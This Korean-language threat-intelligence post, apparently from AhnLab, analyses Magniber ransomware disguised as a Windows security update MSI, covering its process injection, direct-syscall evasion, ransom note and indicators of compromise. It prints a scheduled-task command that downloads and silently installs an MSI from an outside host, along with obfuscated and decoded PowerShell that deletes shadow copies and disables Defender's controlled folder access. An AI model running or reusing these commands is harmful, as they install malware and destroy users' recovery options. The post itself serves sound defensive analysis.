매그니베르(Magniber) 랜섬웨어는 높은 유포건수를 보이며 꾸준히 유포되고 있다. 매그니베르 랜섬웨어는 최근 몇년간 IE 취약점을 통해 유포되었지만, IE(Internet Explorer)의 지원 종료시기를 기점으로 IE 취약점 유포를 중단하였다. 그리고 최근 매그니베르 랜섬웨어는 Edge, Chrome 브라우저에서 Windows 보안 업데이트 패키지(ex_ERROR.Center.Security.msi)로 파일명을 위장해 유포되고 있다. 현재 매그니베르 랜섬웨어(Magniber)는 실행중인 프로세스에 랜섬웨어를 주입하여 실행중인 프로세스가 사용자의 파일을 암호화하는 피해를 발생시킨다.
해당 글을 통하여 현재 유포되고 있는 매그니베르 랜섬웨어의 감염 흐름 과 랜섬웨어 주입방식 및 새로운 탐지 기법(Direct Syscall Detection)에 대해 설명한다. [그림 1]은 매그니베르 랜섬웨어의 감염 도식도이다. “ERROR.Center.Security.msi” 파일명과 같이 보안 업데이트 패키지 파일명으로 위장하여 유포되고 있으며, 실행시 실행중인 프로세스에 랜섬웨어 코드를 주입하여 파일 암호화를 수행한다. 이후 지속적인 감염을 위하여 작업스케줄러를 등록하고, 복구를 불가하게 하기위해 볼륨쉐도우 카피를 삭제한다.

[그림 1] 매그니베르 랜섬웨어의 감염 도식도
[그림 2]은 매그니베르 랜섬웨어를 실행중인 프로세스에 인젝션하는 코드이다. 실행중인 프로세스의 핸들을 조회하고 인젝션 함수(Inject_Magniber)가 반복문(for)을 통해 수행된다.

[그림 2] Magniber 랜섬웨어의 인젝터 메인함수
[그림 3]~[그림 5]는 실행중인 프로세스에 랜섬웨어를 주입하는 함수(Inject_Magniber) 이다. 인젝션에 사용되는 API는 NtCreateThreadEx, NtGetContextThread, NtSetContextThread, NtResumeThread 를 순차적으로 실행하여, 사용자 환경에 실행중인 프로세스에 랜섬웨어를 주입한다.

[그림 3] 인젝션 함수(Inject_Magniber) 일부 1

[그림 4] 인젝션 함수(Inject_Magniber) 일부 2

[그림 5] 인젝션 함수(Inject_Magniber) 일부 3
인젝션을 수행을 위해 API를 실행하는 과정에서 유저모드 후킹방식을 우회하는 모습을 볼 수 있다. 매그니베르 랜섬웨어는 [그림 6] 과 같이 유저모드 후킹방식 우회를 위해 ntdll.dll 아닌 위치(0x000001C87630012)에서 API(NtCreateThreadEx) 의 syscall 명령을 호출시키게 된다. Direct Syscall로 알려진 해당 우회 기법은 V3 제품의 신규 기능(Direct Syscall Detection)을 통해 탐지가 가능하다.

[그림 6] 비정상적인 syscall 호출(ntdll.dll 외부에서 호출)

[그림 7] 정상적인 syscall 호출(ntdll.dll 내부에서 호출)
[그림 8]은 Magniber 랜섬웨어의 지속성 유지를 위해 작업스케줄러에 난독화된 명령어를 등록한 모습이다. 복호화한 작업 스케줄러의 명령어는 아래와 같으며, 부팅 시점에 매그니베르 랜섬웨어(.msi)를 다운로드하고 실행한다.

[그림 8] magniber 랜섬웨어의 지속성 루틴 (작업 스케줄러 등록)
- 복호화한 작업 스케줄러의 명령어
cmd /v /c msiexec /i hxxp://146[.]19[.]106[.]31/ceggfnhm.msi /q
매그니베르 랜섬웨어는 OS의 파일 복구를 무력화 하기위해 powershell 을 통해 난독화된 볼륨쉐도우 카피 삭제 명령을 수행하며 복호화된 명령어는 아래와 같다.
- 볼륨쉐도우 삭제 명령(난독화)
$y=$env:d;$o=$y[16]+$y[18]+$y[34]+$y[8]+$y[32]+$y[9]+$y[25]+$y[13]+$y[20]+$y[30]+$y[27]+$y[34]+$y[6]+$y[8]+$y[2]+$y[9]+$y[13]+$y[22]+$y[24]+$y[5]+$y[11]+$y[26]+$y[10]+$y[31]+$y[1]+$y[36]+$y[4]+$y[14]+$y[36]+$y[29]+$y[28]+$y[33]+$y[35]+$y[0]+$y[34]+$y[3]+$y[34]+$y[8]+$y[34]+$y[16]+$y[33];iex($o) - 볼륨쉐도우 삭제 명령(복호화)
Get-WmiObject Win32_ShadowCopy).Delete()
그리고 powershell을 통해 윈도우디펜더의 제어된 폴더 엑세스기능 해제 명령을 수행하며 난독화 및 복호화된 명령어는 아래와 같다.
- 윈도우디펜더 제어된 폴더 엑세스기능 해제 명령 (난독화)
$x=$env:n;$l=$x[17]+$x[10]+$x[22]+$x[29]+$x[31]+$x[2]+$x[26]+$x[5]+$x[10]+$x[19]+$x[10]+$x[5]+$x[10]+$x[23]+$x[14]+$x[10]+$x[13]+$x[29]+$x[0]+$x[23]+$x[9]+$x[6]+$x[11]+$x[10]+$x[7]+$x[18]+$x[23]+$x[22]+$x[5]+$x[18]+$x[11]+$x[11]+$x[10]+$x[12]+$x[24]+$x[18]+$x[11]+$x[12]+$x[10]+$x[5]+$x[3]+$x[14]+$x[14]+$x[10]+$x[30]+$x[30]+$x[13]+$x[1]; - 윈도우디펜더 제어된 폴더 엑세스기능 해제 명령(복호화)
Set-MpPreference -EnableControlledFolderAccess 0
매그니베르 랜섬웨어는 사용자의 파일을 암호화한 후 암호화된 파일이 있는 경로에 랜섬노트(readme.htm) 를 생성하며, 파일 복구를 위해 tor 브라우져를 통해 URL 접속을 안내한다. 접속된 페이지는 [그림 10] 과 같으며 파일 복구를 위해 비트코인을 요구한다.

[그림 9] 매그니베르 랜섬웨어의 랜섬노트

[그림 10] 랜섬노트의 URL에 접속한 브라우져 화면
현재 매그니베르는 최신 윈도우 버전의 크롬, 엣지 브라우저 사용자 대상으로 도메인 오탈자를 악용한 타이포스쿼팅(Typosquatting) 방식으로 유포되고 있다. 따라서 사용자가 잘못 입력한 도메인으로 인하여 이번 사례와 같이 랜섬웨어 유포로 연결될 수 있기 때문에 각별한 주의가 필요하다.
현재 안랩에서는 매그니베르 랜섬웨어에 대해 아래와 같이 대응하고있다.
[매그니베르 행위진단]
– Ransom/MDP.Magniber.M4687 (2022.08.03.03)
– Ransom/MDP.Magniber.M4683 (2022.07.19.00)
[매그니베르 파일진단]
– Ransomware/Win.Magniber.R592250 (2023.07.18.03)
[매그니베르 msi MD5]
f5dd30f503577071499a241532479279
[C2 URL]
hxxp://146[.]19[.]106[.]31/ceggfnhm.msi
연관 IOC 및 관련 상세 분석 정보는 안랩의 차세대 위협 인텔리전스 플랫폼 ‘AhnLab TIP’ 구독 서비스를 통해 확인 가능하다.

Categories:악성코드 정보
[…] name to Windows security update package (ex_ERROR.Center.Security.msi) in Edge and Chrome browsers, reported […]
[…] name to Windows security update package (ex_ERROR.Center.Security.msi) in Edge and Chrome browsers, reported […]